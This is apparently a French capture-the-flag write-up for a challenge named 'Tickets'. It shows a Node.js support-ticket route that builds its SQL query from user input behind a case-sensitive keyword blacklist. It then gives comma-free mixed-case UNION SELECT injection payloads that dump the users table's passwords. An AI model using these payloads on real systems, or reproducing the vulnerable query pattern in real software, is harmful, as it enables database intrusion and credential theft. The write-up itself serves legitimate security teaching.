Tickets

Flag: -

Challenge

Description


Je suis en train de créer le meilleur système de tickets de support, j'en suis tellement fier. J'ai sécurisé l'injection SQL. Tu ne peux plus faire d'injection SQL maintenant, non ?

LINK

Solution

On commence par créer un compte puis se connecter :

L'injection se passe dans le paramètre type de /support :

Voici le code qui correspond à cette partie du site, je l'ai commenté pour expliquer un peu plus :

app.get("/support", (req, res) => {
  try {
    const blacklist = [",", "=", "UNION", "union", "SELECT", "select", "FROM", "from"];
    const { type } = req.query;
    const token = req.cookies.token ? req.cookies.token : null;

    if (!token) return res.status(200).render("login");

    jwt.verify(token, secretKey, (err, decoded) => {
      if (err) return res.status(401).render("login");

      if (type) {
        let cleanType = decodeURIComponent(type);

        // Vérifie notre input (pour le "nettoyer")
        const containsBlacklistedWord = blacklist.some((word) => cleanType.includes(word));
        const isValidType = /^[a-zA-Z0-9'()* \-]+$/g.test(cleanType);
        
        // Si un caractère interdis est détecté, quitte avec une erreur
        if (containsBlacklistedWord || !isValidType) return res.status(400).json({ error: "Bad input was detected. Stopping processing the request." });

        // Notre input est insérer directement dans la query SQL
        // On peut l'injecter en commençant par ' pour modifier son fonctionnement
        const query = `SELECT * FROM support_tickets WHERE type = '${cleanType}'`;
        
        connection.query(query, (err, rows) => {
          // Si erreur dans la query, quitte avec une erreur
          if (err) {
            console.error("Error fetching support tickets: ", err);
            return res.json({ Error: "An Error Occurred during handling your request." });
          }
          
          // Si pas d'erreur, nous retourne le résultat de notre query mis en forme
          return res.render("home", { tickets: rows });
        });
      } else return res.render("support");
    });
  } catch (err) {
    console.error("Error in /support route: ", err);
    return res.status(500).send({ Error: "An error occurred while handling your request." });
  }
});

Ligne 16, on utilise la blacklist de mots interdits de la mauvaise façon car la casse n'est pas prise en compte. Donc si SELECT est détecté, ce n'est pas le cas pour Select par exemple.

Il faut noter que la blacklist retire la virgule, ce qu'il faudra prendre en compte pour notre payload.

Ligne 17 permet de limiter les caractères utilisés, mais on s'en fout.


Injection SQL

On commence par vérifier que l'injection fonctionne, ici, j'utilise Burp pour rejouer et modifier la requête sur le /support. On va également se servir des sources pour lancer le site en local et observer les erreurs SQL en direct avec la commande docker compose up à la racine du dossier.

Déjà, on voit que notre injection passe, on a modifié la query. Désormais, il faut la rendre valide.

Pour ça on va utiliser cette astuce pour faire un UNION SELECT sans virgule. Il ne faut pas oublier l'espace à la fin du payload pour commenter la suite de la query de base : -- . La requête qu'on vient de faire n'a pas cette espace à la fin, c'est ce qui provoque l'erreur. Le nouveau payload :

' Union Select * From (Select 1)c1 JOIN (Select 2)c2 -- 

Ce qui donne l'erreur :

Ce n'est plus qu'une question de nombre de colonnes, on va en ajouter jusqu'à ce que ça fonctionne. Finalement, avec 6 colonnes :

' Union Select * From (Select 1)c1 JOIN (Select 2)c2 JOIN (Select 3)c3 JOIN (Select 4)c4 JOIN (Select 5)c5 JOIN (Select 6)c6 WHERE NOT '

Maintenant que l'on connaît le nombre de colonnes et lesquelles sont affichées, on peut faire des requêtes arbitraires pour récupérer des données.

Dans les sources, on a le fichier data.sql. Dedans, on voit que le flag est dans la colonne password de la table users, il suffit alors de récupérer les mots de passe de cette table. On va mettre cette query dans la colonne 2 puisque la 1 n'est pas affichée.

' Union Select * From (Select 1)c1 JOIN (Select password From users)c2 JOIN (Select 3)c3 JOIN (Select 4)c4 JOIN (Select 5)c5 JOIN (Select 6)c6 -- 

Mis à jour

Ce contenu vous a-t-il été utile ?